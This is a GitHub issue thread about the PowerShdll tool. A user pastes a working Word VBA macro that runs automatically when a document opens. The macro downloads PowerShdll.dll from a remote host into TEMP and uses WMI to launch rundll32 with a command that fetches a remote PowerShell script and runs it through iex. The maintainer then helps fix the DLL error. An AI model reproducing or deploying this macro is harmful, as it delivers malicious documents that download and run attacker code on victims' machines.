initialization
MaxMarkMuster opened this issue · 7 comments
I am getting an error "A dynamic Link Library (DLL) initialization routine failed" any ideas on how to fix this? Thanks.
Can you give details about your environment? What version are you running? And what command line?
I am testing it as a VBA Macro.
+Sub AutoOpen()
- Debugging
+End Sub
+Sub Document_Open()
- Debugging
+End Sub
+Public Function Debugging() As Variant
- DownloadDLL
- Dim Str As String
- Str = "C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main . { iwr -useb https://192.168.1.101/pshdll.ps1 } ^| iex;"
- strComputer = "."
- Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2")
- Set objStartup = objWMIService.Get("Win32_ProcessStartup")
- Set objConfig = objStartup.SpawnInstance_
- Set objProcess = GetObject("winmgmts:\" & strComputer & "\root\cimv2:Win32_Process")
- errReturn = objProcess.Create(Str, Null, objConfig, intProcessID)
+End Function
+Sub DownloadDLL()
+
- Dim dll_Loc As String
- dll_Loc = Environ("TEMP") & "\powershdll.dll"
- If Not Dir(dll_Loc, vbDirectory) = vbNullString Then
-
Exit Sub
- End If
- Dim dll_URL As String
- #If Win64 Then
-
dll_URL = "https://192.168.1.101/x64/PowerShdll.dll"
- #Else
-
dll_URL = "https://192.168.1.101/x86/PowerShdll.dll"
- #End If
- Dim WinHttpReq As Object
- Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
- WinHttpReq.Open "GET", dll_URL, False
- WinHttpReq.send
- myURL = WinHttpReq.responseBody
- If WinHttpReq.Status = 200 Then
-
Set oStream = CreateObject("ADODB.Stream")
-
oStream.Open
-
oStream.Type = 1
-
oStream.Write WinHttpReq.responseBody
-
oStream.SaveToFile dll_Loc
-
oStream.Close
- End If
+End Sub
What version of windows are you running this on?
Are you running the latest version (pushed today)?
I am running it on windows 10 15063. Yes, I am using the latest version. It was was working correctly before the latest version.
I have reduced the .Net version to 3.5 for better legacy support. it works on my windows 10 machine. Ill push a .Net 4.5 release. Please let me know if it works.
You can try that release:
https://github.com/p3nt4/PowerShdll/releases/tag/v0.2.4.5
Have you tried putting the -n switch?
Both of the above answers have solved it. Thank you for your help.